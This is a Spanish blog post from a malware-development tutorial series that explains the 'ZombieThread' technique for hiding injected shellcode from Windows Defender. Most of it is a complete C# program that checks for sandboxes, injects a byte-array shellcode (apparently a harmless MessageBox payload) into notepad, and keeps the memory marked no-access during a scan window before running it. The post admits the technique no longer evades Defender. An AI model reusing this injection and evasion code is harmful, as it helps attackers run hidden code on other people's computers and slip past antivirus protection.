MalDev práctico: ZombieThread

Si recordáis, en el ejercicio anterior de desarrollo de malware lanzábamos una inyección básica, pero el resultado era una clara detección:

Hoy traemos algo similar pero con una sencilla técnica bautizada como ZombieThread que podrá permitirnos no ser detectados por Windows Defender. En resumen, consiste en proteger la página que contiene nuestro shellcode con PAGE_NOACCESS miestras Windows Defender realiza el escaneo y, una vez finalizado el mismo, ejecutar el shellcode. Paso a paso sería:

  • Abrir un proceso remoto utilizando OpenProcess.
  • Descifrar el payload de meterpreter en memoria.
  • Asignar algo de memoria en el proceso remoto usando VirtualAllocEx, asegurándose de que asignamos los permisos correctos para escribir en la memoria, por supuesto.
  • Escribir nuestro payload en la memoria asignada usando WriteProcessMemory.
  • Proteger la memoria usando VirtualProtectEx, configurando la protección en PAGE_NOACCESS.
  • Crear un nuevo hilo suspendido usando CreateRemoteThread.
  • Suspender durante 10 segundos mientras Defender escanea la memoria del proceso remoto en busca de código malicioso.
  • Cambiar la protección en la memoria usando VirtualProtectEx, configurando la protección en PAGE_EXECUTE_READ_WRITE.
  • Reanudar el hilo remoto usando ResumeThread

Echamos un vistazo al código:

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace ZombieThread
{
    class Program
    {

        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);

        [DllImport("kernel32.dll")]
        static extern IntPtr GetCurrentProcess();

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint ResumeThread(IntPtr hThread);
        
        static void Main(string[] args)
        {
           
            DateTime t1 = DateTime.Now;
            Sleep(2000);
            double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
            if (t2 < 1.5)
            {
                return;
            }

            IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
            if (mem == null)
            {
                return;
            }
 
            byte[] buf = new byte[309] {
            0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
            0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
            0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
            0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
            0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
            0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
            0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
            0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
            0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
            0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
            0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
            0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
            0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
            0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
            0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
            0x85,0x1d,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
            0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x42,0x6c,0x34,
            0x63,0x6b,0x4d,0x31,0x72,0x72,0x6f,0x72,0x20,0x69,0x73,0x20,0x69,0x6e,0x74,
            0x6f,0x20,0x74,0x68,0x65,0x20,0x6d,0x65,0x6d,0x6f,0x72,0x79,0x00,0x4d,0x65,
            0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 };


            IntPtr hProcess;
            IntPtr addr = IntPtr.Zero;

            int pid = Process.GetProcessesByName("notepad")[0].Id;

            hProcess = OpenProcess(0x001F0FFF, false, pid);

            addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

            VirtualProtectEx(hProcess, addr, (UIntPtr)buf.Length, 0x01, out uint lpflOldProtect);

            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0x00000004, out hThread);

            System.Threading.Thread.Sleep(20000);

            VirtualProtectEx(hProcess, addr, (UIntPtr)buf.Length, 0x40, out lpflOldProtect);
        
            ResumeThread(hThread);

        }

    }
}

Lo ejecutamos y compilamos primero sin protección...

... pero ¿qué pasa si lo ejecutamos con Windows Defender? 

Efectivamente, a día de hoy si mantenemos el código, con el shellcode tal cual y aunque usemos esta técnica no resultará efectiva. Así que en el próximo post echaremos un vistazo a otra para bypassear Windows Defender.

 

Serie MalDev práctico:

Comentarios